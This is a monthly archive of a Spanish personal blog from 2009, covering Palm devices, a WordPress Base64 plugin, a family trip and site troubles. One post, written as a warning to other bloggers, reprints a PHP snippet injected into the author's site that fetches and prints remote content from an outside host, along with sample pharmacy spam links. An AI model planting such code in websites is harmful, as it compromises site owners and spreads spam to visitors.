Monthly Archive for febrero, 2009

Plugin Base64 Encoder/Decoder para WordPress actualizado a la versión 0.7.1

Wordpress Logo

Wordpress Logo

Base64 Encoder/Decoder es un plugin para WordPress que permite codificar partes de un post en base64 del lado del servidor, encerrando el texto que quieres codificar usando tags simples e intuitivos.

Estos tags <base64> y </base64>, usan el mismo formato que los tags html, de tal forma que cuando desactivas el plugin, el post se muestra sin codificacion, sin necesidad de ser modificado o re-editado.

Recientemente actualicé Base64 Encoder/Decoder a la versión 0.7.1 la cual es completamente compatible con WordPress 2.7.1. Esta actualización menor soluciona un pequeño bug que se producía cuando se muestran varios posts que incluyen código encriptado con base64. El error se producía al decodificar el texto encriptado, mezclándose el texto decodificado entre uno y otro post debido a una falta de identificación adecuada del texto encriptado con el post correcto.

Plugin Base64

Ahora la decodificación funciona adecuadamente con el post correcto a pesar que se muestren múltiples posts con contenido codificado en base64. Ya estoy desarrollando la versión 0.8 en la cuál agregaré decodificación usando AJAX, pues actualmente el texto decodificado está oculto en el post, siendo visible por las máquinas de búsqueda lo cual por supuesto no es óptimo.

Pueden descargarlo diréctamente de ESTE link o desde su página en la cual se comentan todas las funcionalidades de dicho plugin.

Espero que esta nueva versión sea de su agrado y les preste una gran utilidad. Saludos.

Links:

Cancelada la versión de PowerSDHC para Tungsten T3, iQue y Zodiac

SDHC Driver

SDHC Driver

Dmitry Griberg publicó hace algunos días que ha decidido cancelar el desarrollo de su aplicación PowerSDHC para la Palm Tungsten T3 debido a falta de tiempo y a que es demasiado complicado en el caso de los dispositivos iQue y Zodiac.

Es una lástima que un programador tan bueno como Dmitry desista y se de por vencido por muy difícil que sea, más aún considerando que ha hecho cosas más complicadas previamente como por ejemplo UDMH y PowerDrive.

Es de esperar que sea un bloqueo temporal y que más adelante reinicie con nuevos bríos el desarrollo de versiones de PowerSDHC para dichos dispositivos.

Links:

El Palm Pre GSM aparece en el Mobile World Congress 2009

Vía PalmInfoCenter y Engadget me entero que el Palm Pre GSM fue avistado en el Mobile World Congress 2009 usando una tarjeta SIM del operador de telefonía celular español Vodafone.

Sin embargo Palm no hizo un anuncio oficial de la existencia del Palm Pre GSM en dicho evento, sino que más bien se trató de la curiosidad de los corresponsales de PreCommunity quienes le quitaron la tapa posterior a uno de los dispositivos en demostración disponibles y se encontraron con tamaña sorpresa.

Ni Palm ni Vodafone han hecho anuncios con respecto a una alianza para distribuir el Palm Pre en Europa, pero se rumorea que este operador lo lanzaría en exclusiva al menos hasta el 2010.

Palm Pre GSM

Palm Pre GSM

La única información oficial del Palm Pre en Europa apareció en el sitio de Palm del Reino Unido, tal como informan BrightHand y Engadget, aunque el dispositivo estará disponible en versión CDMA y no en versión GSM.

Con respecto a la probables fechas de lanzamiento del Palm Pre en Latinoamérica, la gente de Wayerless entrevistó a Alfredo Rosing, Director de Marketing para Latinoamérica de Palm, quien indicó que están contactando a todos los operadores de telefonía celular posibles aunque no descartan alianzas de exclusividad temporal, y que es muy probable que el Palm Pre esté disponible en Latinoamérica a fines de 2009.

Así que considerando que la existencia del Palm Pre GSM ya es un hecho aunque no oficial, habrá que esperar que este 2009 avance rápidamente hasta el momento en que el Palm Pre arribe por estas costas y poder adquirir uno ya sea desbloqueado o a través de alguno de los operadores de telefonía celular locales.

Links:

Plugin Base64 Encoder/Decoder para WordPress actualizado a la versión 0.7

Wordpress Logo

Wordpress Logo

Base64 Encoder/Decoder es un plugin para WordPress que permite codificar partes de un post en base64 del lado del servidor, encerrando el texto que quieres codificar usando tags simples e intuitivos.

Estos tags <base64> y </base64>, usan el mismo formato que los tags html, de tal forma que cuando desactivas el plugin, el post se muestra sin codificacion, sin necesidad de ser modificado o re-editado.

Recientemente actualicé Base64 Encoder/Decoder a la versión 0.7 la cual es completamente compatible con WordPress 2.7.1. Esta versión soluciona el problema con las comillas dobles que se presentaba en la versión previa, pues el código del plugin las reemplaza internamente por comillas simples las cuales no producen conflictos con la encriptación.

Plugin Base64

También agregué una funcionalidad que detecta la presencia de los antiguos tags y que permite que estos sean reemplazados por los nuevos en toda la base de datos de WordPress. Y finalmente limpié un poco el código fuente eliminando funciones redundantes y optimizando otras funciones para que fueran más eficientes con menos código.

Además ahora el plugin está disponible para ser descargado desde el repositorio de Plugins de WordPress de tal forma que las próximas versiones pueden ser actualizadas automáticamente desde el Dashboard de WordPress.

La inclusión del plugin en este repositorio requirió cambiar el directorio en el cual éste se instala debido a la forma en que funciona la subversión en WordPress, por lo tanto es necesario que desinstalen cualquier versión previa e instalen la última versión, pero es un cambio menor que permitirá una actualización más sencilla.

Pueden descargarlo diréctamente de ESTE link o desde su página en la cual se comentan todas las funcionalidades de dicho plugin.

Está pendiente aún la creación de un botón quicktag para el Rich Text Editor y optimizar el reemplazo inline del texto codificado usando AJAX para que el procedimiento sea completamente invisible a las máquinas de búsqueda, con lo cual el desarrollo del plugin llegaría a su fin.

Espero que esta nueva versión sea de su agrado y les preste una gran utilidad. Saludos.

Links:

Aplicaciones imprescindibles para tu smartphone PalmOS (I)

Treo 680

Treo 680

Hace bastante tiempo que estaba debiendo este post, y ahora que volví al Treo 680 se hace más que necesario, así que aquí está… Las aplicaciones imprescindibles que debes tener instaladas en tu smartphone PalmOS, siguiendo la tónica del post Software infaltable en tu Palm TX (I).

Los smartphones PalmOS son excelentes dispositivos pues son la combinación perfecta de una PDA y un teléfono celular, y por el hecho de correr PalmOS el poseedor de uno de estos dispositivos tiene acceso a una cantidad de aplicaciones enorme que pueden cubrir prácticamente todas sus necesidades tanto para uso personal como profesional.

Un smartphone PalmOS es una excelente herramienta desde el momento en que lo sacas de la caja, y sus aplicaciones preinstaladas pueden ser suficientes para la mayoría de los usuarios. Sin embargo quienes exigimos nuestros dispositivos por el hecho de llevar mucho tiempo en el mundo de las PDAs, puede que necesitemos la instalación de aplicaciones adicionales para que dicha experiencia no se vea disminuída.

Uno de los grandes problemas de los smartphones PalmOS es la reducida duración de la carga de la batería, la cual dependiendo del uso puede en ocasiones durar apenas un día o menos, y en otros casos 2 a 3 días. Ciertamente la mayoría de los teléfonos celulares actuales duran 3 ó 4 veces en modo de espera que lo que dura un smartphone PalmOS, pero no tienen la funcionalidad de este.

Otro de los puntos críticos de un smartphone PalmOS es que puede almacenar información sensible ya sea personal o de nuestros contactos, nuestros correos, etc. y que puede ser mal utilizada si se nos pierde o nos roban el dispositivo y cae en otras manos, y por lo tanto es necesaria alguna aplicación que permita borrar TODO el contenido del dispositivo de forma remota por ejemplo con un simple SMS.

Afortunadamente existen aplicaciones que permiten esto y que comentaremos a continuación, además de algunas otras más que son inherentes a todo dispositivo PalmOS.

Continue reading ‘Aplicaciones imprescindibles para tu smartphone PalmOS (I)’

Palm dejará de producir equipos con PalmOS

Palm LogoVía PreCentral, Gizmodo y TecnoAguila me entero que Ed Colligan anunció oficialmente en una conferencia con los inversionistas de Palm Pre el 11 de Febrero de 2009, que Palm dejará de producir equipos con PalmOS y se centrará simplemente en equipos con WebOS y Windows Mobile.

El único dispositivo disponible con PalmOS será el Palm Centro, el cual seguirá siendo lanzado con otros proveedores de telefonía celular a lo largo del mundo, al menos hasta que se acabe el stock.

Tal como comenta Aguila1808, no resta más que atesorar nuestros dispositivos hasta que la batería ya no cargue más. Personalmente tengo una pequeña colección de dispositivos PalmOS, y puede que sea la oportunidad de hacerme de algunos dispositivos más a precios razonables, pues es probable que algunos usuarios quieran deshacerse de sus dispositivos PalmOS antes que se devalúen.

Aunque creo que se equivocan al pensar que sus dispositivos se devaluarán, pues el valor sentimental supera ampliamente al valor monetario, y de hecho es la razón para al menos en mi caso y desde hace algún tiempo, no deshacerme de los dispositivos. Saludos.

Links:

De vuelta al Treo 680

Treo 680

Treo 680

Ya han sido aproximadamente 3 meses desde que dejé de usar el Treo 680 y decidí darle una oportunidad a un equipo con Windows Mobile, específicamente el Treo 750. Sin embargo todo lo que alguna vez me comentó Liberd se cumplió…

“Irás a WM. Te va a gustar WM. Pensarás que te quedarás con él. Odiarás WM. Mirarás de reojo equipos con PalmOS. Volverás a PalmOS.”

Puse todo mi empeño en no comparar Windows Mobile con PalmOS, y de hecho por eso preferí usar un dispositivo Palm para seguir usando el mismo “form factor” que el Treo 680 y no complicarme con equipos con otra configuración de teclado u otra resolución de pantalla.

Al principio fué bastante entretenido, explorar y conocer un SO nuevo para mi, jugué también con el registro, encontré la forma de instalar plugins para el Today interesantes como el HTC Home Plugin, pero la lentitud del dispositivo me empezó a molestar en forma silente, y de la misma forma que un gota de agua puede rebalsar un vaso, después de un tiempo la comparación de Windows Mobile con PalmOS fué inevitable.

Así, hasta que decidí volver al Treo 680 aprovechando las vacaciones en Chiloé que planificamos para toda la familia. Debo decir que volver al Treo 680 fué un gran alivio, sentí que de nuevo el dispositivo era mi aliado y no que yo era el que tenía que adaptarse al dispositivo.

Bastaron un par de días para que el uso del Treo 680 fuera con completa naturalidad, como si nunca lo hubiera dejado de usar. Con el Treo 750 me tomó bastante tiempo sentir que lo usaba con facilidad, al menos unas 4 semanas, y aún así había funciones del Treo 680 que extrañaba tremendamente.

Claro está que el Treo 680 tiene sus limitaciones, y quizás lo único que extraño del Treo 750 es su cámara de 1 Megapíxeles ya que el Treo 680 tiene una cámara de 0.3 Megapíxeles, aunque también es cierto que para tomar fotos prefiero mi Panasonic Lumix TZ5 sin lugar a dudas. Pero aún así estoy muy contento con haber vuelto al Treo 680… Al menos hasta que logre tener en mis manos al Palm Pre claro está…

Links:

De vacaciones a Chiloé

Chiloe

Chiloé


Imagen cortesía de Leandro Bruno @ Flickr

Por fin llegó el ansiado período de vacaciones. La carga de trabajo este año ha sido intensa tanto para mi como para mi esposa, y los niños se merecen unas buenas vacaciones debido a su desempeño sobresaliente en el colegio.

Así que estas vacaciones de veranos agarraremos “bombos y petacas” y nos vamos a la Isla Grande de Chiloé, a disfrutar de la calidez de su gente, del bello entorno del paisaje, desconectarnos y cargar las pilas para un nuevo año laboral.

Este post fué programado para ser publicado en el preciso instante en que estaremos toda la familia sentados en el auto y partiendo inicialmente hasta Valdivia, donde pretendemos pernoctar para continuar viaje hasta Castro en la Isla de Chiloé al día siguiente.

Serán 2.428 Km de viaje por tierra ida y vuelta, más el paso del Canal de Chacao por transbordador, pero afortunadamente la Kia New Carnival es un vehículo muy espacioso, con velocidad crucero, frenos ABS, dirección servoasistida, aire acondicionado en las 3 corridas de asientos y una pantalla de DVD de 7″, así el viaje se hará más llevadero.

Obviamente es muy probable que en los próximos 12 días no publique nuevos post y no responda a los comentarios… Vamos que cuando hay que descansar, hay que descansar de verdad. Saludos.

Hackeo por parte de FunaChile

FunaChile

FunaChile

Simplemente hay gente que no sabe respetar los derechos de los demás, y que gusta de abusar del ancho de banda que uno paga de su propio bolsillo, de tal forma de aparecer en las máquinas de búsqueda mejor posicionados y de esta forma poder vender avisaje y hacer profitar sus propios bolsillos.

Repentinamente me di cuenta que mi blog no rendereaba bien, se veía horrible. Restauré una versión previa del blog, verifiqué la base de datos SQL, desactivé y activé algunos plugins, hasta que revisando el código fuente de la página me encuentro con este script…

<?php
if (extension_loaded(“curl”)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, “http://oupremed.com/s/14.txt”);
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode(“”,file(“http://oupremed.com/s/14.txt”)); }
if($r) print $r;
?>

El script hacía referencia a una página llamada FunaChile insertando metatags en los primeros bloques del header de mi blog. Les dejo una muestra de algunos de los casi 50 links que insertó el script…

<a href=”http://www.funachile.cl/administrator_remove/index.php”>100mg viagra</a><br>
<a href=”http://www.funachile.cl/administrator_remove/?bjaka=1″>20mg cialis</a><br>
<a href=”http://www.funachile.cl/administrator_remove/?bjaka=2″>apotheke cialis</a><br>

Esta situación molesta que debe ser denunciada para que no ocurra con otros blogs, y espero poder dar una voz de advertencia desde esta humilde blog. Simplemente la gente de FunaChile se merece una FUNA

Links:

Días difíciles

MrAnderson MD Header

Uff han sido varios días difíciles para el blog… Ha estado caído bastante tiempo y por más que intentaba solucionarlo iba de mal en peor.

Intenté cambiando a un Servidor Privado Virtual en Dreamhost, pero lo requerimientos de memoria del blog se incrementaban hasta casi llegar a necesitar 1000 Mb de memoria, lo cual ascendía a un costo de USD$100 mensuales además del hosting.

Obviamente el costo resultaba abismante para un simple blog personal… Y por más que buscaba no podía encontrar cual era el proceso que ocupaba tanta memoria…

Ni siquiera la gente de Dreamhost pudo identificar el script culpable, aunque claramente se trataba de un script PHP… Creo que no tengo que mencionarles que WordPress usa PHP, así que identificar al script culpable era casi como buscar una aguja en un pajar.

Finalmente la gente de Dreamhost me dió una pista bastante vaga, pero que me hizo sospechar, aunque sin pruebas fehacientes. El script que recargaba el uso de memoria por parte del blog hacía llamadas a páginas web, en otras ocasiones hacía llamadas a resultados de máquinas de búsqueda, pero siempre relacionado con páginas web.

Hasta ahora había estado desactivando algunas funcionalidades, como por ejemplo el widget de Últimos Comentarios en la página principal, el link a StatCounter, pero la carga de memoria seguía consistentemente alta. Finalmente recorde que hace poco había instalado un Plugin y que dentro de todo lo que hacía, registraba direcciones de internet. El plugin culpable era FireStats.

Simplemente desactive FireStats y la carga de memoria del blog bajó súbitamente de 1000 a 250 Mb, y ya se encuentra estable aparentemente. Si logro reducir mi carga de memoria en forma consistente bajo los 250 Mb podré volver a un Servidor Compartido.

FireStats no es malo, sólo que no maneja la memoria de una manera eficiente, y espero que puedan solucionar dicho inconveniente, pero si planeaban probar dicho plugin, creo necesario avisarles que no es recomendable por ahora.

Al menos ya pueden volver a disfrutar del blog, y yo también. Me tuvo bastante preocupado pero ya está arriba y corriendo. Saludos.

Links:

Licencia de Creative Commons

RSS

  • Subscribe with iTunes
  • Podcast Feed
  • Subscribe to the RSS Feed
  • Subscribe to the comments RSS Feed

Google AdSense

Mi Twitter

Posting tweet...

Powered by Twitter Tools

Mis Apps

Software tracking